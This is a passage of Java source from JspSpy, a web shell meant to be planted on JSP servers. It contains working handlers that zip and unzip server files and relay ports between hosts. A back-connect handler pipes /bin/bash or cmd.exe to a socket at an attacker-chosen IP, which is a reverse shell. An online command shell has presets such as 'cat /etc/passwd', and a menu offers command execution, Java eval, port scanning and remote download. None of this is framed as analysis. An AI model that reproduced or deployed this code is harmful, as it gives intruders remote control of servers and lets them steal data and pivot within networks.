2815					this.filesize = Integer.parseInt(request
2816							.getParameter("filesize"));
2817					this.exclude = request.getParameter("exclude").split(",");
2818				}
2819				String packedFile = request.getParameter("packedfile");
2820				if (Util.isEmpty(packedFile))
2821					return;
2822				this.packFile = packedFile;
2823				String saveFileName = request.getParameter("savefilename");
2824				File saveF = null;
2825				if (this.config)
2826					saveF = new File(saveFileName);
2827				else
2828					saveF = new File(JSession.getAttribute(CURRENT_DIR)
2829							.toString(), saveFileName);
2830				if (saveF.exists()) {
2831					JSession.setAttribute(MSG, "The File \"" + saveFileName
2832							+ "\" Has Been Exists!");
2833					response.sendRedirect(SHELL_NAME);
2834					return;
2835				}
2836				File pF = new File(packedFile);
2837				ZipOutputStream zout = null;
2838				String base = "";
2839				if (pF.isDirectory()) {
2840					if (pF.listFiles().length == 0) {
2841						JSession
2842								.setAttribute(MSG,
2843										"No File To Pack ! Maybe The Directory Is Empty .");
2844						response.sendRedirect(SHELL_NAME);
2845						this.reset();
2846						return;
2847					}
2848					zout = new ZipOutputStream(new BufferedOutputStream(
2849							new FileOutputStream(saveF)));
2850					zipDir(pF, base, zout);
2851				} else {
2852					zout = new ZipOutputStream(new BufferedOutputStream(
2853							new FileOutputStream(saveF)));
2854					zipFile(pF, base, zout);
2855				}
2856				zout.close();
2857				this.reset();
2858				JSession.setAttribute(MSG, "Pack File Success!");
2859				response.sendRedirect(SHELL_NAME);
2860			} catch (Exception e) {
2861				throw e;
2862			}
2863		}
2864
2865		public void zipDir(File f, String base, ZipOutputStream zout)
2866				throws Exception {
2867			if (f.isDirectory()) {
2868				if (this.config) {
2869					String curName = f.getAbsolutePath().replace('\\', '/');
2870					curName = curName.replaceAll("\\Q" + this.packFile + "\\E",
2871							"");
2872					if (this.exclude != null) {
2873						for (int i = 0; i < exclude.length; i++) {
2874							if (!Util.isEmpty(exclude[i])
2875									&& curName.startsWith(exclude[i])) {
2876								return;
2877							}
2878						}
2879					}
2880				}
2881				File[] arr = f.listFiles();
2882				for (int i = 0; i < arr.length; i++) {
2883					File ff = arr[i];
2884					String tmpBase = base;
2885					if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
2886						tmpBase += "/";
2887					zipDir(ff, tmpBase + f.getName(), zout);
2888				}
2889			} else {
2890				String tmpBase = base;
2891				if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
2892					tmpBase += "/";
2893				zipFile(f, tmpBase, zout);
2894			}
2895
2896		}
2897
2898		public void zipFile(File f, String base, ZipOutputStream zout)
2899				throws Exception {
2900			if (this.config) {
2901				String ext = f.getName().substring(
2902						f.getName().lastIndexOf('.') + 1);
2903				if (this.extFilter.equals("blacklist")) {
2904					if (Util.exists(this.fileExts, ext)) {
2905						return;
2906					}
2907				} else if (this.extFilter.equals("whitelist")) {
2908					if (!Util.exists(this.fileExts, ext)) {
2909						return;
2910					}
2911				}
2912				if (!this.sizeFilter.equals("no")) {
2913					double size = f.length() / 1024;
2914					if (this.sizeFilter.equals("greaterthan")) {
2915						if (size < filesize)
2916							return;
2917					} else if (this.sizeFilter.equals("lessthan")) {
2918						if (size > filesize)
2919							return;
2920					}
2921				}
2922			}
2923			ZipEntry entry = new ZipEntry(base + f.getName());
2924			zout.putNextEntry(entry);
2925			FileInputStream fInput = new FileInputStream(f);
2926			int len = 0;
2927			byte[] buf = new byte[1024];
2928			while ((len = fInput.read(buf)) != -1) {
2929				zout.write(buf, 0, len);
2930				zout.flush();
2931			}
2932			fInput.close();
2933		}
2934	}
2935
2936	private static class UnPackInvoker extends DefaultInvoker {
2937		public boolean doBefore() {
2938			return false;
2939		}
2940
2941		public boolean doAfter() {
2942			return false;
2943		}
2944
2945		public void invoke(HttpServletRequest request,
2946				HttpServletResponse response, HttpSession JSession)
2947				throws Exception {
2948			try {
2949				String savepath = request.getParameter("savepath");
2950				String zipfile = request.getParameter("zipfile");
2951				if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
2952					return;
2953				File save = new File(savepath);
2954				save.mkdirs();
2955				ZipFile file = new ZipFile(new File(zipfile));
2956				Enumeration e = file.entries();
2957				while (e.hasMoreElements()) {
2958					ZipEntry en = (ZipEntry) e.nextElement();
2959					String entryPath = en.getName();
2960					int index = entryPath.lastIndexOf("/");
2961					if (index != -1)
2962						entryPath = entryPath.substring(0, index);
2963					File absEntryFile = new File(save, entryPath);
2964					if (!absEntryFile.exists()
2965							&& (en.isDirectory() || en.getName().indexOf("/") != -1))
2966						absEntryFile.mkdirs();
2967					BufferedOutputStream output = null;
2968					BufferedInputStream input = null;
2969					try {
2970						output = new BufferedOutputStream(new FileOutputStream(
2971								new File(save, en.getName())));
2972						input = new BufferedInputStream(file.getInputStream(en));
2973						byte[] b = new byte[1024];
2974						int len = input.read(b);
2975						while (len != -1) {
2976							output.write(b, 0, len);
2977							len = input.read(b);
2978						}
2979					} catch (Exception ex) {
2980					} finally {
2981						try {
2982							if (output != null)
2983								output.close();
2984							if (input != null)
2985								input.close();
2986						} catch (Exception ex1) {
2987						}
2988					}
2989				}
2990				file.close();
2991				JSession.setAttribute(MSG, "UnPack File Success!");
2992				response.sendRedirect(SHELL_NAME);
2993			} catch (Exception e) {
2994
2995				throw e;
2996			}
2997		}
2998	}
2999
3000	//VMapPort
3001	private static class VmpInvoker extends DefaultInvoker {
3002		public void invoke(HttpServletRequest request,
3003				HttpServletResponse response, HttpSession JSession)
3004				throws Exception {
3005			try {
3006				PrintWriter out = response.getWriter();
3007				Object localIP = JSession.getAttribute("localIP");
3008				Object localPort = JSession.getAttribute("localPort");
3009				Object remoteIP = JSession.getAttribute("remoteIP");
3010				Object remotePort = JSession.getAttribute("remotePort");
3011				Object done = JSession.getAttribute("done");
3012
3013				JSession.removeAttribute("localIP");
3014				JSession.removeAttribute("localPort");
3015				JSession.removeAttribute("remoteIP");
3016				JSession.removeAttribute("remotePort");
3017				JSession.removeAttribute("done");
3018
3019				if (Util.isEmpty(localIP))
3020					localIP = InetAddress.getLocalHost().getHostAddress();
3021				if (Util.isEmpty(localPort))
3022					localPort = "3389";
3023				if (Util.isEmpty(remoteIP))
3024					remoteIP = "www.baidu.com";
3025				if (Util.isEmpty(remotePort))
3026					remotePort = "80";
3027				if (!Util.isEmpty(done))
3028					Util.outMsg(out, done.toString());
3029
3030				out
3031						.println("<form action=\""
3032								+ SHELL_NAME
3033								+ "\" method=\"post\">"
3034								+ "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"
3035								+ "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3036								+ "  <tr>"
3037								+ "    <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"
3038								+ "      <div id=\"hOWTm\">"
3039								+ "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
3040								+ "      <tr align=\"center\">"
3041								+ "        <td style=\"width:5%\"></td>"
3042								+ "        <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"
3043								+ "          <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
3044								+ localIP
3045								+ "\" />"
3046								+ "          </td>"
3047								+ "        <td style=\"width:20%\" align=\"left\">Local Port :"
3048								+ "          <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
3049								+ localPort
3050								+ "\" /></td>"
3051								+ "        <td style=\"width:20%\" align=\"left\">Remote Ip :"
3052								+ "          <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
3053								+ remoteIP
3054								+ "\" /></td>"
3055								+ "        <td style=\"width:20%\" align=\"left\">Remote Port :"
3056								+ "          <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""
3057								+ remotePort
3058								+ "\" /></td>"
3059								+ "      </tr>"
3060								+ "      <tr align=\"center\">"
3061								+ "        <td colspan=\"5\"><br/>"
3062								+ "          <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"
3063								+ "			<input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"
3064								+ SHELL_NAME + "?o=smp'\" class=\"bt\" />"
3065								+ "    </td>" + "    </tr>" + "	</table>"
3066								+ "    </div>" + "</td>" + "</tr>" + "</table>"
3067								+ "</form>");
3068				String targetIP = request.getParameter("targetIP");
3069				String targetPort = request.getParameter("targetPort");
3070				String yourIP = request.getParameter("yourIP");
3071				String yourPort = request.getParameter("yourPort");
3072				if (Util.isEmpty(targetIP))
3073					targetIP = "127.0.0.1";
3074				if (Util.isEmpty(targetPort))
3075					targetPort = "3389";
3076				if (Util.isEmpty(yourIP))
3077					yourIP = request.getRemoteAddr();
3078				if (Util.isEmpty(yourPort))
3079					yourPort = "1234";
3080				out
3081						.println("<form action=\""
3082								+ SHELL_NAME
3083								+ "\" method=\"post\">"
3084								+ "<input type=\"hidden\" name=\"o\" value=\"portBack\">"
3085								+ "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3086								+ "  <tr>"
3087								+ "    <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"
3088								+ "      <div id=\"hOWTm\">"
3089								+ "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
3090								+ "      <tr align=\"center\">"
3091								+ "        <td style=\"width:5%\"></td>"
3092								+ "        <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"
3093								+ "          <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
3094								+ targetIP
3095								+ "\" />"
3096								+ "          </td>"
3097								+ "        <td style=\"width:20%\" align=\"left\">Target Port :"
3098								+ "          <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
3099								+ targetPort
3100								+ "\" /></td>"
3101								+ "        <td style=\"width:20%\" align=\"left\">Your Ip :"
3102								+ "          <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
3103								+ yourIP
3104								+ "\" /></td>"
3105								+ "        <td style=\"width:20%\" align=\"left\">Your Port :"
3106								+ "          <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
3107								+ yourPort
3108								+ "\" /></td>"
3109								+ "      </tr>"
3110								+ "      <tr align=\"center\">"
3111								+ "        <td colspan=\"5\"><br/>"
3112								+ "          <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"
3113								+ "    </td>" + "    </tr>" + "	</table>"
3114								+ "    </div>" + "</td>" + "</tr>" + "</table>"
3115								+ "</form>");
3116			} catch (Exception e) {
3117
3118				throw e;
3119			}
3120		}
3121	}
3122
3123	//StopMapPort
3124	private static class SmpInvoker extends DefaultInvoker {
3125		public boolean doAfter() {
3126			return true;
3127		}
3128
3129		public boolean doBefore() {
3130			return true;
3131		}
3132
3133		public void invoke(HttpServletRequest request,
3134				HttpServletResponse response, HttpSession JSession)
3135				throws Exception {
3136			try {
3137				Object obj = JSession.getAttribute(PORT_MAP);
3138				if (obj != null) {
3139					ServerSocket server = (ServerSocket) JSession
3140							.getAttribute(PORT_MAP);
3141					server.close();
3142				}
3143				JSession.setAttribute("done", "Stop Success!");
3144				((Invoker) ins.get("vmp")).invoke(request, response, JSession);
3145			} catch (Exception e) {
3146
3147				throw e;
3148			}
3149		}
3150	}
3151
3152	//PortBack
3153	private static class PortBackInvoker extends DefaultInvoker {
3154		public boolean doAfter() {
3155			return true;
3156		}
3157
3158		public boolean doBefore() {
3159			return true;
3160		}
3161
3162		public void invoke(HttpServletRequest request,
3163				HttpServletResponse response, HttpSession JSession)
3164				throws Exception {
3165			try {
3166				String targetIP = request.getParameter("targetIP");
3167				String targetPort = request.getParameter("targetPort");
3168				String yourIP = request.getParameter("yourIP");
3169				String yourPort = request.getParameter("yourPort");
3170				Socket yourS = new Socket();
3171				yourS.connect(new InetSocketAddress(yourIP, Integer
3172						.parseInt(yourPort)));
3173				Socket targetS = new Socket();
3174				targetS.connect(new InetSocketAddress(targetIP, Integer
3175						.parseInt(targetPort)));
3176				StreamConnector.readFromLocal(new DataInputStream(targetS
3177						.getInputStream()), new DataOutputStream(yourS
3178						.getOutputStream()));
3179				StreamConnector.readFromRemote(targetS, yourS,
3180						new DataInputStream(yourS.getInputStream()),
3181						new DataOutputStream(targetS.getOutputStream()));
3182				JSession.setAttribute("done", "Port Back Success !");
3183				((Invoker) ins.get("vmp")).invoke(request, response, JSession);
3184			} catch (Exception e) {
3185
3186				throw e;
3187			}
3188		}
3189	}
3190
3191	private static class MapPortInvoker extends DefaultInvoker {
3192		public boolean doBefore() {
3193			return false;
3194		}
3195
3196		public boolean doAfter() {
3197			return false;
3198		}
3199
3200		public void invoke(HttpServletRequest request,
3201				HttpServletResponse response, HttpSession JSession)
3202				throws Exception {
3203			try {
3204				PrintWriter out = response.getWriter();
3205				String localIP = request.getParameter("localIP");
3206				String localPort = request.getParameter("localPort");
3207				final String remoteIP = request.getParameter("remoteIP");
3208				final String remotePort = request.getParameter("remotePort");
3209				if (Util.isEmpty(localIP) || Util.isEmpty(localPort)
3210						|| Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
3211					return;
3212				Object obj = JSession.getAttribute(PORT_MAP);
3213				if (obj != null) {
3214					ServerSocket s = (ServerSocket) obj;
3215					s.close();
3216				}
3217				final ServerSocket server = new ServerSocket();
3218				server.bind(new InetSocketAddress(localIP, Integer
3219						.parseInt(localPort)));
3220				JSession.setAttribute(PORT_MAP, server);
3221				new Thread(new Runnable() {
3222					public void run() {
3223						while (true) {
3224							Socket soc = null;
3225							Socket remoteSoc = null;
3226							DataInputStream remoteIn = null;
3227							DataOutputStream remoteOut = null;
3228							DataInputStream localIn = null;
3229							DataOutputStream localOut = null;
3230							try {
3231								soc = server.accept();
3232								remoteSoc = new Socket();
3233								remoteSoc
3234										.connect(new InetSocketAddress(
3235												remoteIP, Integer
3236														.parseInt(remotePort)));
3237								remoteIn = new DataInputStream(remoteSoc
3238										.getInputStream());
3239								remoteOut = new DataOutputStream(remoteSoc
3240										.getOutputStream());
3241								localIn = new DataInputStream(soc
3242										.getInputStream());
3243								localOut = new DataOutputStream(soc
3244										.getOutputStream());
3245								StreamConnector.readFromLocal(localIn,
3246										remoteOut);
3247								StreamConnector.readFromRemote(soc, remoteSoc,
3248										remoteIn, localOut);
3249							} catch (Exception ex) {
3250								break;
3251							}
3252						}
3253					}
3254
3255				}).start();
3256				JSession.setAttribute("done", "Map Port Success!");
3257				JSession.setAttribute("localIP", localIP);
3258				JSession.setAttribute("localPort", localPort);
3259				JSession.setAttribute("remoteIP", remoteIP);
3260				JSession.setAttribute("remotePort", remotePort);
3261				JSession.setAttribute(SESSION_O, "vmp");
3262				response.sendRedirect(SHELL_NAME);
3263			} catch (Exception e) {
3264
3265				throw e;
3266			}
3267		}
3268	}
3269
3270	//VBackConnect
3271	private static class VbcInvoker extends DefaultInvoker {
3272		public void invoke(HttpServletRequest request,
3273				HttpServletResponse response, HttpSession JSession)
3274				throws Exception {
3275			try {
3276				PrintWriter out = response.getWriter();
3277				Object ip = JSession.getAttribute("ip");
3278				Object port = JSession.getAttribute("port");
3279				Object program = JSession.getAttribute("program");
3280				Object done = JSession.getAttribute("done");
3281				JSession.removeAttribute("ip");
3282				JSession.removeAttribute("port");
3283				JSession.removeAttribute("program");
3284				JSession.removeAttribute("done");
3285				if (Util.isEmpty(ip))
3286					ip = request.getRemoteAddr();
3287				if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
3288					port = "1234";
3289				if (Util.isEmpty(program)) {
3290					if (ISLINUX)
3291						program = "/bin/bash";
3292					else
3293						program = "cmd.exe";
3294				}
3295
3296				if (!Util.isEmpty(done))
3297					Util.outMsg(out, done.toString());
3298				out
3299						.println("<form action=\""
3300								+ SHELL_NAME
3301								+ "\" method=\"post\">"
3302								+ "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"
3303								+ "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3304								+ "  <tr>"
3305								+ "    <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"
3306								+ "      <div id=\"hOWTm\">"
3307								+ "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
3308								+ "      <tr align=\"center\">"
3309								+ "        <td style=\"width:5%\"></td>"
3310								+ "        <td  align=\"center\">Your Ip :"
3311								+ "          <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""
3312								+ ip
3313								+ "\" />"
3314								+ "          Your Port :"
3315								+ "          <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""
3316								+ port
3317								+ "\" />Program To Back :"
3318								+ "          <input name=\"program\" id=\"program\" type=\"text\" value=\""
3319								+ program
3320								+ "\" class=\"input\" size=\"20\" value=\"d\" /></td>"
3321								+ "      </tr>"
3322								+ "      <tr align=\"center\">"
3323								+ "        <td colspan=\"2\"><br/>"
3324								+ "          <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"
3325								+ "    </td>" + "    </tr>" + "	</table>"
3326								+ "    </div>" + "</td>" + "</tr>" + "</table>"
3327								+ "</form>");
3328			} catch (Exception e) {
3329
3330				throw e;
3331			}
3332		}
3333	}
3334
3335	private static class BackConnectInvoker extends DefaultInvoker {
3336		public boolean doAfter() {
3337			return false;
3338		}
3339
3340		public boolean doBefore() {
3341			return false;
3342		}
3343
3344		public void invoke(HttpServletRequest request,
3345				HttpServletResponse response, HttpSession JSession)
3346				throws Exception {
3347			try {
3348				String ip = request.getParameter("ip");
3349				String port = request.getParameter("port");
3350				String program = request.getParameter("program");
3351				if (Util.isEmpty(ip) || Util.isEmpty(program)
3352						|| !Util.isInteger(port))
3353					return;
3354				Socket socket = new Socket(ip, Integer.parseInt(port));
3355				Process process = Runtime.getRuntime().exec(program);
3356				(new StreamConnector(process.getInputStream(), socket
3357						.getOutputStream())).start();
3358				(new StreamConnector(process.getErrorStream(), socket
3359						.getOutputStream())).start();
3360				(new StreamConnector(socket.getInputStream(), process
3361						.getOutputStream())).start();
3362				JSession.setAttribute("done", "Back Connect Success!");
3363				JSession.setAttribute("ip", ip);
3364				JSession.setAttribute("port", port);
3365				JSession.setAttribute("program", program);
3366				JSession.setAttribute(SESSION_O, "vbc");
3367				response.sendRedirect(SHELL_NAME);
3368			} catch (Exception e) {
3369
3370				throw e;
3371			}
3372		}
3373	}
3374
3375	private static class JspEnvInvoker extends DefaultInvoker {
3376		public void invoke(HttpServletRequest request,
3377				HttpServletResponse response, HttpSession JSession)
3378				throws Exception {
3379			try {
3380				PrintWriter out = response.getWriter();
3381				out
3382						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3383								+ "      <tr>"
3384								+ "        <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"
3385								+ "          <div id=\"ghaB\">"
3386								+ "            <hr/>"
3387								+ "            <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
3388				Properties pro = System.getProperties();
3389				Enumeration names = pro.propertyNames();
3390				while (names.hasMoreElements()) {
3391					String name = (String) names.nextElement();
3392					out.println("<li><u>" + Util.htmlEncode(name) + " : </u>"
3393							+ Util.htmlEncode(pro.getProperty(name)) + "</li>");
3394				}
3395				out
3396						.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
3397				/*
3398				 Map envs = System.getenv();
3399				 Set<Map.Entry<String,String>> entrySet = envs.entrySet();
3400				 for (Map.Entry<String,String> en:entrySet) {
3401				 out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
3402				 }*/
3403				out
3404						.println("</ul></div></td>" + "      </tr>"
3405								+ "    </table>");
3406			} catch (Exception e) {
3407
3408				throw e;
3409			}
3410		}
3411	}
3412
3413	private static class ReflectInvoker extends DefaultInvoker {
3414		public void invoke(HttpServletRequest request,
3415				HttpServletResponse response, HttpSession JSession)
3416				throws Exception {
3417			try {
3418				PrintWriter out = response.getWriter();
3419				String c = request.getParameter("Class");
3420				Class cls = null;
3421				try {
3422					if (!Util.isEmpty(c))
3423						cls = Class.forName(c);
3424				} catch (ClassNotFoundException ex) {
3425					Util.outMsg(out, "<span style='color:red'>Class " + c
3426							+ " Not Found ! </span>");
3427				}
3428				out
3429						.println("<form action=\""
3430								+ SHELL_NAME
3431								+ "\" id='refForm' method=\"post\">"
3432								+ "  <input type=\"hidden\" name=\"o\" value=\"reflect\">"
3433								+ "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3434								+ "    <tr>"
3435								+ "      <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"
3436								+ "          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
3437								+ "            <tr>"
3438								+ "              <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""
3439								+ (Util.isEmpty(c) ? "java.lang.Object" : c)
3440								+ "\" size=\"60\"/> "
3441								+ "              <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"
3442								+ "            </tr>" + "            "
3443								+ "          </table>" + "        </td>"
3444								+ "    </tr>" + "  </table>" + "</form>");
3445
3446				if (cls != null) {
3447					StringBuffer sb = new StringBuffer();
3448					if (cls.getPackage() != null)
3449						sb.append("package " + cls.getPackage().getName()
3450								+ ";\n");
3451					String n = null;
3452					if (cls.isInterface())
3453						n = "";
3454					//else if (cls.isEnum())
3455					//	n = "enum";
3456					else
3457						n = "class";
3458					sb.append(Modifier.toString(cls.getModifiers()) + " " + n
3459							+ " " + cls.getName() + "\n");
3460					if (cls.getSuperclass() != null)
3461						sb
3462								.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"
3463										+ cls.getSuperclass().getName()
3464										+ "';document.forms['refForm'].submit()\" style='color:red;'>"
3465										+ cls.getSuperclass().getName()
3466										+ "</a>\n");
3467					if (cls.getInterfaces() != null
3468							&& cls.getInterfaces().length != 0) {
3469						Class[] faces = cls.getInterfaces();
3470						sb.append("\t implements ");
3471						for (int i = 0; i < faces.length; i++) {
3472							sb
3473									.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"
3474											+ faces[i].getName()
3475											+ "';document.forms['refForm'].submit()\" style='color:red'>"
3476											+ faces[i].getName() + "</a>");
3477							if (i != faces.length - 1) {
3478								sb.append(",");
3479							}
3480						}
3481					}
3482					sb.append("{\n\t\n");
3483					sb.append("\t//constructors..\n");
3484					Constructor[] cs = cls.getConstructors();
3485					for (int i = 0; i < cs.length; i++) {
3486						Constructor cc = cs[i];
3487						sb.append("\t" + cc + ";\n");
3488					}
3489					sb.append("\n\t//fields\n");
3490					Field[] fs = cls.getDeclaredFields();
3491					for (int i = 0; i < fs.length; i++) {
3492						Field f = fs[i];
3493						sb.append("\t" + f.toString() + ";");
3494						if (Modifier.toString(f.getModifiers()).indexOf(
3495								"static") != -1) {
3496							sb.append("\t//value is : ");
3497							f.setAccessible(true);
3498							Object obj = f.get(null);
3499							sb.append("<span style='color:red'>");
3500							if (obj != null)
3501								sb.append(obj.toString());
3502							else
3503								sb.append("NULL");
3504
3505							sb.append("</span>");
3506						}
3507						sb.append("\n");
3508					}
3509
3510					sb.append("\n\t//methods\n");
3511					Method[] ms = cls.getDeclaredMethods();
3512					for (int i = 0; i < ms.length; i++) {
3513						Method m = ms[i];
3514						sb.append("\t" + m.toString() + ";\n");
3515					}
3516					sb.append("}\n");
3517					String m = "<span style='font-weight:normal'>"
3518							+ Util.highLight(sb.toString()).replaceAll("\t",
3519									"&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll(
3520									"\n", "<br/>") + "</span>";
3521					Util.outMsg(out, m, "left");
3522				}
3523			} catch (Exception e) {
3524				throw e;
3525			}
3526		}
3527	}
3528
3529	private static class TopInvoker extends DefaultInvoker {
3530		public void invoke(HttpServletRequest request,
3531				HttpServletResponse response, HttpSession JSession)
3532				throws Exception {
3533			try {
3534				PrintWriter out = response.getWriter();
3535				out
3536						.println("<form action=\""
3537								+ SHELL_NAME
3538								+ "\" method=\"post\" name=\"doForm\"></form>"
3539								+ "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"
3540								+ "	<tr class=\"head\">"
3541								+ "		<td><span style=\"float:right;\">JspSpy Ver: 2010</span>"
3542								+ request.getHeader("host")
3543								+ " (<span id='ip'>"
3544								+ InetAddress.getLocalHost().getHostAddress()
3545								+ "</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"
3546								+ "	</tr>"
3547								+ "	<tr class=\"alt1\">"
3548								+ "		<td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "
3549								+ "			<a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "
3550								+ "			<a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "
3551								+ "			<a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "
3552								+ "			<a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "
3553								+ "			<a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "
3554								+ "			<a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "
3555								+ "			<!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"
3556								+ "			<a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "
3557								+ "			<a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "
3558								+ "			<a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "
3559								+ "			<a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "
3560								+ "			<a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "
3561								+ "			<a href=\"javascript:doPost({o:'vother'});\">Others</a> | "
3562								+ "			<a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "
3563								+ "	</tr>" + "</table>");
3564				if (JSession.getAttribute(MSG) != null) {
3565					Util.outMsg(out, JSession.getAttribute(MSG).toString());
3566					JSession.removeAttribute(MSG);
3567				}
3568				if (JSession.getAttribute(ENTER_MSG) != null) {
3569					String outEntry = request.getParameter("outentry");
3570					if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
3571						Util.outMsg(out, JSession.getAttribute(ENTER_MSG)
3572								.toString());
3573				}
3574			} catch (Exception e) {
3575
3576				throw e;
3577			}
3578		}
3579	}
3580
3581	private static class VOnLineShellInvoker extends DefaultInvoker {
3582		public void invoke(HttpServletRequest request,
3583				HttpServletResponse response, HttpSession JSession)
3584				throws Exception {
3585			try {
3586				PrintWriter out = response.getWriter();
3587				out
3588						.println("<script>"
3589								+ "				function $(id) {"
3590								+ "					return document.getElementById(id);"
3591								+ "				}"
3592								+ "				var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"
3593								+ "				window.onload = function(){"
3594								+ "					setInterval(function(){"
3595								+ "						if ($(\"autoscroll\").checked)"
3596								+ "						{"
3597								+ "							var f = window.frames[\"echo\"];"
3598								+ "							if (f && f.document && f.document.body)"
3599								+ "							{"
3600								+ "								if (!ie)"
3601								+ "								{"
3602								+ "									if (f.document.body.offsetHeight)"
3603								+ "									{"
3604								+ "										f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"
3605								+ "									}"
3606								+ "								} else {"
3607								+ "									f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"
3608								+ "								}" + "							}" + "						}"
3609								+ "					},500);" + "				}" + "			</script>");
3610				out
3611						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
3612								+ "  <tr>" + "    <td>");
3613				out.println("<h2>Shell OnLine &raquo;</h2><br/>");
3614				out
3615						.println("<form action=\""
3616								+ SHELL_NAME
3617								+ "\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"
3618								+ "			<input type=\"submit\" value=\" start \" class=\"bt\">"
3619								+ "				<input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""
3620								+ (ISLINUX ? "/bin/bash"
3621										: "c:\\windows\\system32\\cmd.exe")
3622								+ "\"/>"
3623								+ "				<input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"
3624								+ "			</form>"
3625								+ "			<hr/>"
3626								+ "				<iframe class=\"secho\" name=\"echo\" src=\"\">"
3627								+ "				</iframe>"
3628								+ "				<form action=\""
3629								+ SHELL_NAME
3630								+ "\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"
3631								+ "					<input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"
3632								+ "					<input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"
3633								+ "					<select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"
3634								+ "						<option value=\"\" selected> </option>"
3635								+ "						<option value=\"uname -a\">uname -a</option>"
3636								+ "						<option value=\"cat /etc/issue\">issue</option>"
3637								+ "						<option value=\"cat /etc/passwd\">passwd</option>"
